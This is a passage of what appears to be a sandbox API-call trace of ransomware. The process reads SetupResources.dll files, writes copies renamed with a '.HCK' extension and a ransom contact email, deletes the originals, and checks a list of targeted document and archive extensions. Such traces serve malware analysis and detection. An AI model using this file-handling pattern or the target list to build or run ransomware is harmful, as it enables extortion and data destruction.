lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.293] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.293] GetLastError () returned 0x0 [0148.293] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4758, lpOverlapped=0x0) returned 1 [0148.295] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.296] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.296] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.296] SetEndOfFile (hFile=0x30c) returned 1 [0148.296] CloseHandle (hObject=0x30c) returned 1 [0148.297] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.297] SetEndOfFile (hFile=0x308) returned 1 [0148.298] CloseHandle (hObject=0x308) returned 1 [0148.298] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.298] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0148.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.298] lstrlenW (lpString=".doc") returned 4 [0148.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.298] lstrlenW (lpString=".docx") returned 5 [0148.298] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.298] lstrlenW (lpString=".pdf") returned 4 [0148.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.298] lstrlenW (lpString=".xls") returned 4 [0148.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.298] lstrlenW (lpString=".xlsx") returned 5 [0148.298] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.298] lstrlenW (lpString=".ppt") returned 4 [0148.299] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".zip") returned 4 [0148.299] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString=".rar") returned 4 [0148.299] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString=".bz2") returned 4 [0148.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.299] lstrlenW (lpString=".7z") returned 3 [0148.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".dbf") returned 4 [0148.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".1cd") returned 4 [0148.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".jpg") returned 4 [0148.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".doc") returned 4 [0148.299] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString=".docx") returned 5 [0148.299] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.299] lstrlenW (lpString=".pdf") returned 4 [0148.299] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString=".xls") returned 4 [0148.299] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString=".xlsx") returned 5 [0148.299] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.299] lstrlenW (lpString=".ppt") returned 4 [0148.299] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".zip") returned 4 [0148.299] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString=".rar") returned 4 [0148.299] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.299] lstrlenW (lpString=".bz2") returned 4 [0148.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.299] lstrlenW (lpString=".7z") returned 3 [0148.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".dbf") returned 4 [0148.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".1cd") returned 4 [0148.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0148.299] lstrlenW (lpString=".jpg") returned 4 [0148.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.300] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.300] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.300] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.300] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=19288) returned 1 [0148.300] CloseHandle (hObject=0x308) returned 1 [0148.300] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0148.300] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.300] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.300] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.300] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.300] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.300] GetLastError () returned 0x0 [0148.300] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4b58, lpOverlapped=0x0) returned 1 [0148.597] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4b60, lpOverlapped=0x0) returned 1 [0148.598] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.604] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.604] SetEndOfFile (hFile=0x30c) returned 1 [0148.604] CloseHandle (hObject=0x30c) returned 1 [0148.614] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.614] SetEndOfFile (hFile=0x308) returned 1 [0148.614] CloseHandle (hObject=0x308) returned 1 [0148.615] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.615] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0148.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.615] lstrlenW (lpString=".doc") returned 4 [0148.615] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.615] lstrlenW (lpString=".docx") returned 5 [0148.615] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.615] lstrlenW (lpString=".pdf") returned 4 [0148.615] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.615] lstrlenW (lpString=".xls") returned 4 [0148.615] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.615] lstrlenW (lpString=".xlsx") returned 5 [0148.615] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.615] lstrlenW (lpString=".ppt") returned 4 [0148.615] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.615] lstrlenW (lpString=".zip") returned 4 [0148.615] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.615] lstrlenW (lpString=".rar") returned 4 [0148.615] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.615] lstrlenW (lpString=".bz2") returned 4 [0148.615] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.615] lstrlenW (lpString=".7z") returned 3 [0148.615] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.615] lstrlenW (lpString=".dbf") returned 4 [0148.615] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString=".1cd") returned 4 [0148.616] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString=".jpg") returned 4 [0148.616] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString=".doc") returned 4 [0148.616] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.616] lstrlenW (lpString=".docx") returned 5 [0148.616] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.616] lstrlenW (lpString=".pdf") returned 4 [0148.616] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.616] lstrlenW (lpString=".xls") returned 4 [0148.616] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.616] lstrlenW (lpString=".xlsx") returned 5 [0148.616] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.616] lstrlenW (lpString=".ppt") returned 4 [0148.616] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString=".zip") returned 4 [0148.616] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.616] lstrlenW (lpString=".rar") returned 4 [0148.616] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.616] lstrlenW (lpString=".bz2") returned 4 [0148.616] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.616] lstrlenW (lpString=".7z") returned 3 [0148.616] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString=".dbf") returned 4 [0148.616] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString=".1cd") returned 4 [0148.616] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0148.616] lstrlenW (lpString=".jpg") returned 4 [0148.616] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.616] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.616] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.617] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18264) returned 1 [0148.617] CloseHandle (hObject=0x308) returned 1 [0148.617] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0148.617] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.617] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.617] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.618] GetLastError () returned 0x0 [0148.618] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4758, lpOverlapped=0x0) returned 1 [0148.620] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.620] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.621] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.621] SetEndOfFile (hFile=0x30c) returned 1 [0148.621] CloseHandle (hObject=0x30c) returned 1 [0148.622] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.622] SetEndOfFile (hFile=0x308) returned 1 [0148.622] CloseHandle (hObject=0x308) returned 1 [0148.622] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.623] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0148.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.623] lstrlenW (lpString=".doc") returned 4 [0148.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.623] lstrlenW (lpString=".docx") returned 5 [0148.623] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.623] lstrlenW (lpString=".pdf") returned 4 [0148.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.623] lstrlenW (lpString=".xls") returned 4 [0148.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.623] lstrlenW (lpString=".xlsx") returned 5 [0148.623] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.623] lstrlenW (lpString=".ppt") returned 4 [0148.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.623] lstrlenW (lpString=".zip") returned 4 [0148.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.623] lstrlenW (lpString=".rar") returned 4 [0148.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.623] lstrlenW (lpString=".bz2") returned 4 [0148.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.623] lstrlenW (lpString=".7z") returned 3 [0148.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".dbf") returned 4 [0148.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".1cd") returned 4 [0148.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".jpg") returned 4 [0148.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".doc") returned 4 [0148.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.624] lstrlenW (lpString=".docx") returned 5 [0148.624] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.624] lstrlenW (lpString=".pdf") returned 4 [0148.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.624] lstrlenW (lpString=".xls") returned 4 [0148.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.624] lstrlenW (lpString=".xlsx") returned 5 [0148.624] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.624] lstrlenW (lpString=".ppt") returned 4 [0148.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".zip") returned 4 [0148.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.624] lstrlenW (lpString=".rar") returned 4 [0148.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.624] lstrlenW (lpString=".bz2") returned 4 [0148.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.624] lstrlenW (lpString=".7z") returned 3 [0148.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".dbf") returned 4 [0148.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".1cd") returned 4 [0148.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0148.624] lstrlenW (lpString=".jpg") returned 4 [0148.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.625] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.625] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.625] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18264) returned 1 [0148.625] CloseHandle (hObject=0x308) returned 1 [0148.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0148.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.625] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.625] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.629] GetLastError () returned 0x0 [0148.629] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4758, lpOverlapped=0x0) returned 1 [0148.631] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.632] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.632] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.632] SetEndOfFile (hFile=0x30c) returned 1 [0148.632] CloseHandle (hObject=0x30c) returned 1 [0148.633] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.634] SetEndOfFile (hFile=0x308) returned 1 [0148.634] CloseHandle (hObject=0x308) returned 1 [0148.634] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.635] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0148.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.635] lstrlenW (lpString=".doc") returned 4 [0148.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".docx") returned 5 [0148.635] lstrcmpiW 